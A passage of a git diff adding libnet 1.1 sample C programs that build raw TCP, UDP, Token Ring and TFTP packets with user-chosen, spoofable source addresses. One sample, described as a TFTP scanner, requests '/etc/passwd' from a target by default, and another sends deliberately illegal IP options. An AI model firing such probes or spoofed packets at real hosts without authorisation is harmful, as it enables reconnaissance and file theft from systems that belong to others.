usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_tcp_options( + "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000", + 20, + l, + 0); + if (t == -1) + { + fprintf(stderr, "Can't build TCP options: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 10, /* urgent pointer */ + LIBNET_TCP_H + 20 + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,/* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ethernet( + enet_dst, /* ethernet destination */ + enet_src, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +#if defined(__WIN32__) +#include <../include/win32/getopt.h> +#include <winsock2.h> +#include <ws2tcpip.h> +#endif /* __WIN32__ */ +/* EOF */ diff --git a/libnet/sample/tcp2.c b/libnet/sample/tcp2.c new file mode 100644 index 0000000..e45de90 --- /dev/null +++ b/libnet/sample/tcp2.c @@ -0,0 +1,192 @@ +/* + * $Id: tcp2.c,v 1.3 2004/01/28 19:45:00 mike Exp $ + * + * libnet 1.1 + * raw_tcp.c - Build a TCP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: TCP[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + } + } + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 10, /* urgent pointer */ + LIBNET_TCP_H + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/tftp.c b/libnet/sample/tftp.c new file mode 100644 index 0000000..b77e887 --- /dev/null +++ b/libnet/sample/tftp.c @@ -0,0 +1,207 @@ +/* + * + * libnet 1.1 + * Build a TFTP scanner using payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Ex: + * ./tftp -s 192.168.0.1 -d 192.168.0.66 -p plop + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + u_long src_ip, dst_ip; + char errbuf[LIBNET_ERRBUF_SIZE]; + libnet_ptag_t udp = 0, ip = 0; + char *filename = "/etc/passwd"; + char mode[] = "netascii"; + u_char *payload = NULL; + u_int payload_s = 0; + + + printf("libnet 1.1 packet shaping: UDP + payload[raw] == TFTP\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + goto bad; + } + break; + + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + goto bad; + } + break; + + case 'p': + filename = optarg; + break; + + default: + fprintf(stderr, "unkown option [%s]: bye bye\n", optarg); + goto bad; + + } + } + + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * build payload + * + * 2 bytes string 1 byte string 1 byte + * ------------------------------------------------ + * | Opcode | Filename | 0 | Mode | 0 | + * ------------------------------------------------ + * + */ + payload_s = 2 + strlen(filename) + 1 + strlen(mode) + 1; + payload = malloc(sizeof(char)*payload_s); + if (!payload) + { + fprintf(stderr, "malloc error for payload\n"); + goto bad; + } + memset(payload, 0, payload_s); + payload[1] = 1; /* opcode - GET */ + memcpy(payload + 2, filename, strlen(filename)); + memcpy(payload + 2 + strlen(filename) + 1 , mode, strlen(mode)); + + /* + * Build pblocks + */ + udp = libnet_build_udp( + 0x1234, /* source port */ + 69, /* destination port */ + LIBNET_UDP_H + payload_s, /* packet length */ + 0, /* checksum */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (udp == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length - dont forget the UDP's payload */ + 0, /* TOS */ + 0x4242, /* IP ID */ + 0, /* IP Frag */ + 0x42, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload (already in UDP) */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TFTP packet; check the wire.\n", c); + } + + libnet_destroy(l); + free(payload); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + free(payload); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip -d destination_ip" + " [-p payload] [-t|u|i] \n", + name); +} + +/* EOF */ diff --git a/libnet/sample/tring_tcp1.c b/libnet/sample/tring_tcp1.c new file mode 100644 index 0000000..9b9140f --- /dev/null +++ b/libnet/sample/tring_tcp1.c @@ -0,0 +1,214 @@ +/* + * libnet 1.1 + * Build a TCP packet to ride on Token Ring + * + * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: TCP (over Token Ring) [link]\n"); + + /* + * Initialize the library. Root priviledges are required. + * + * Currently hard-coded for tr0. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + "tr0", /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_token_ring( + LIBNET_TOKEN_RING_FRAME, + LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ + tr_dst, /* token ring destination */ + tr_src, /* token ring source */ + LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ + LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ + 0x03, /* Unnumbered info/frame */ + org_code, /* Organization Code */ + TOKEN_RING_TYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/tring_tcp2.c b/libnet/sample/tring_tcp2.c new file mode 100644 index 0000000..f5f85a2 --- /dev/null +++ b/libnet/sample/tring_tcp2.c @@ -0,0 +1,210 @@ +/* + * libnet 1.1 + * Build a TCP packet to ride on token ring (autobuild) + * + * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: TCP (over token ring) [link]\n"); + + /* + * Initialize the library. Root priviledges are required. + * + * Currently hard-coded for tr0. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + "tr0", /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_token_ring( + LIBNET_TOKEN_RING_FRAME, + LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ + tr_dst, /* token ring destination */ + LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ + LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ + 0x03, /* Unnumbered info/frame */ + org_code, /* Organization Code */ + TOKEN_RING_TYPE_IP, /* protocol type */ + l); /* libnet handle */ + if (t == -1) + { + fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/udp1.c b/libnet/sample/udp1.c new file mode 100644 index 0000000..b95e8e1 --- /dev/null +++ b/libnet/sample/udp1.c @@ -0,0 +1,223 @@ +/* + * $Id: udp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $ + * + * libnet 1.1 + * Build a UDP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" +#ifdef __WIN32__ +#include "../include/win32/getopt.h" +#endif + +int +main(int argc, char *argv[]) +{ + int c, i, j, build_ip; + u_char *cp; + libnet_t *l; + libnet_ptag_t ip, ipo; + libnet_ptag_t udp; + char *payload; + u_short payload_s; + struct libnet_stats ls; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + u_char opt[20]; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: UDP + IP options[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s\n", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + ip = ipo = udp = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + for (build_ip = 0, i = 0; i < 10; i++) + { + udp = libnet_build_udp( + src_prt, /* source port */ + dst_prt + i, /* destination port */ + LIBNET_UDP_H + payload_s, /* packet length */ + 0, /* checksum */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + udp); /* libnet id */ + if (udp == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + if (1) + { + build_ip = 0; + /* this is not a legal options string */ + for (j = 0; j < 20; j++) + { + opt[j] = libnet_get_prand(LIBNET_PR2); + } + ipo = libnet_build_ipv4_options( + 